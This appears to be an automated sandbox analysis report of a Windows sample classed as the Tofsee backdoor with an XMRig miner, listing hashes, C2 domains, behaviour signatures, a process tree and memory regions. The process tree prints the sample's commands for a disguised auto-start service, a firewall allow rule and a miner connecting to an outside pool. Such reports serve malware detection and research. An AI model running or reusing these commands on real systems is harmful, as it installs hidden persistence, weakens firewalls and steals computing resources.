Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    11/10/2023, 22:17

General

  • Target

    file.exe

  • Size

    224KB

  • MD5

    0dd828e69d29ed7f004837822a621299

  • SHA1

    0fa7aec7cc1db6ff4e083d2f0681f1de9a32c7b5

  • SHA256

    4de255bd7f8f3434121c22a64f4fa39d0cdca3b5a3efb252dcc9eaef346c46e9

  • SHA512

    5c066209347915d01252f3acd23b854bfad6a96ab267fc29c1a2fead107e9df66d580f230080a53dcb77ee90c71165e28622dae74503fe0c0d46abb1829f2224

  • SSDEEP

    3072:CLUX5nl6Nkeq1LZC87SvBVlmqaghXqk/zrBQlFC+p8vF5XGoTG:UQ9eqFZC8qgghp/zrBQlFKvPGoT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kteoatuy\
      2⤵
        PID:2220
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ujbinlqi.exe" C:\Windows\SysWOW64\kteoatuy\
        2⤵
          PID:2756
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kteoatuy binPath= "C:\Windows\SysWOW64\kteoatuy\ujbinlqi.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2616
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kteoatuy "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2624
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kteoatuy
          2⤵
          • Launches sc.exe
          PID:2700
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2528
      • C:\Windows\SysWOW64\kteoatuy\ujbinlqi.exe
        C:\Windows\SysWOW64\kteoatuy\ujbinlqi.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2268
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2508
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1688

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ujbinlqi.exe

        Filesize

        10.3MB

        MD5

        0d720bdab72454260366a184dbd5940f

        SHA1

        95d7eb5cd68cab7172c5c0eefac66d7622fcc93e

        SHA256

        4964d7086be28319c2dbc0aafc5beca0d0b68810bebac0b1664f38bc8e977ade

        SHA512

        a1d7fdbd20694df4a9315c744a34c6a6b277aaab1999dfacc4e37a5a25b11fd29c78eafad1b7b824a85ea5d148852e02c9525676dc358584020bcbdadda2f781

      • C:\Windows\SysWOW64\kteoatuy\ujbinlqi.exe

        Filesize

        10.3MB

        MD5

        0d720bdab72454260366a184dbd5940f

        SHA1

        95d7eb5cd68cab7172c5c0eefac66d7622fcc93e

        SHA256

        4964d7086be28319c2dbc0aafc5beca0d0b68810bebac0b1664f38bc8e977ade

        SHA512

        a1d7fdbd20694df4a9315c744a34c6a6b277aaab1999dfacc4e37a5a25b11fd29c78eafad1b7b824a85ea5d148852e02c9525676dc358584020bcbdadda2f781

      • memory/1688-77-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1688-62-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1688-63-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1688-71-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1688-73-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1688-74-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1688-72-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1688-75-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/1688-76-0x0000000000220000-0x0000000000311000-memory.dmp

        Filesize

        964KB

      • memory/2268-11-0x0000000000400000-0x00000000005AF000-memory.dmp

        Filesize

        1.7MB

      • memory/2268-18-0x0000000000400000-0x00000000005AF000-memory.dmp

        Filesize

        1.7MB

      • memory/2268-10-0x0000000000290000-0x0000000000390000-memory.dmp

        Filesize

        1024KB

      • memory/2372-1-0x00000000006A0000-0x00000000007A0000-memory.dmp

        Filesize

        1024KB

      • memory/2372-7-0x0000000000250000-0x0000000000263000-memory.dmp

        Filesize

        76KB

      • memory/2372-6-0x0000000000400000-0x00000000005AF000-memory.dmp

        Filesize

        1.7MB

      • memory/2372-3-0x0000000000400000-0x00000000005AF000-memory.dmp

        Filesize

        1.7MB

      • memory/2372-2-0x0000000000250000-0x0000000000263000-memory.dmp

        Filesize

        76KB

      • memory/2508-40-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-41-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-34-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-35-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-36-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-30-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-39-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-38-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-37-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-43-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-46-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-47-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-45-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-44-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-42-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-33-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-48-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-49-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/2508-50-0x0000000000200000-0x0000000000205000-memory.dmp

        Filesize

        20KB

      • memory/2508-53-0x0000000000200000-0x0000000000205000-memory.dmp

        Filesize

        20KB

      • memory/2508-54-0x0000000005440000-0x000000000584B000-memory.dmp

        Filesize

        4.0MB

      • memory/2508-58-0x0000000000250000-0x0000000000257000-memory.dmp

        Filesize

        28KB

      • memory/2508-57-0x0000000005440000-0x000000000584B000-memory.dmp

        Filesize

        4.0MB

      • memory/2508-27-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/2508-26-0x0000000001A20000-0x0000000001C2F000-memory.dmp

        Filesize

        2.1MB

      • memory/2508-23-0x0000000001A20000-0x0000000001C2F000-memory.dmp

        Filesize

        2.1MB

      • memory/2508-22-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2508-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2508-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2508-15-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2508-13-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2508-12-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB